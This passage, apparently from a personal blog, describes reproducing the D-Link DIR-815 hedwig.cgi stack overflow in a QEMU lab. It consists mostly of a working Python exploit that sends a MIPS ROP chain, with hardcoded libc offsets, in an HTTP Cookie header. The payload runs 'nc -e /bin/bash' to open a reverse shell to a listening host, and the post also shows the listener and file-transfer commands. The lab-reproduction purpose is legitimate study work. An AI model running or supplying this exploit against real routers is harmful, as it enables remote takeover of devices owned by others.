然后运行脚本,生成 payload 文件,用 scp 传入 qemu

1
scp -r ./payload root@192.168.221.139:/root/squashfs-root

然后宿主机内开启监听你刚刚打开的端口

1
nc -lnvp 8888

然后 qemu 内运行 run.sh。需要把注释改到上一行,也就是

1
2
#echo "winmt=pwner"|./gdbserver.mipsle 192.168.221.139:6667 /htdocs/web/hedwig.cgi
echo "winmt=pwner"|/htdocs/web/hedwig.cgi

然后就成功了o( ̄▽ ̄)ブ

chenggong!

法2:直接发送http报文

创建脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.221.137 8888' # 这里是Ubuntu物理机的地址,8888是你要监听的端口

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd

url = "http://192.168.221.139:6666/hedwig.cgi" # 这里是qemu虚拟机的地址
data = {"XiDP" : "pwner"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "10"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)

同样监听你选择的端口,然后 python3 运行,也成功了

学习文章

[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪论坛-安全社区|非营利性质技术交流社区

DIR-815 栈溢出漏洞(CNVD-2013-11625)复现-先知社区


dir-815复现记录
http://yyyffff.github.io/2025/10/09/dir-815复现记录/
作者
yyyffff
发布于
2025年10月9日
许可协议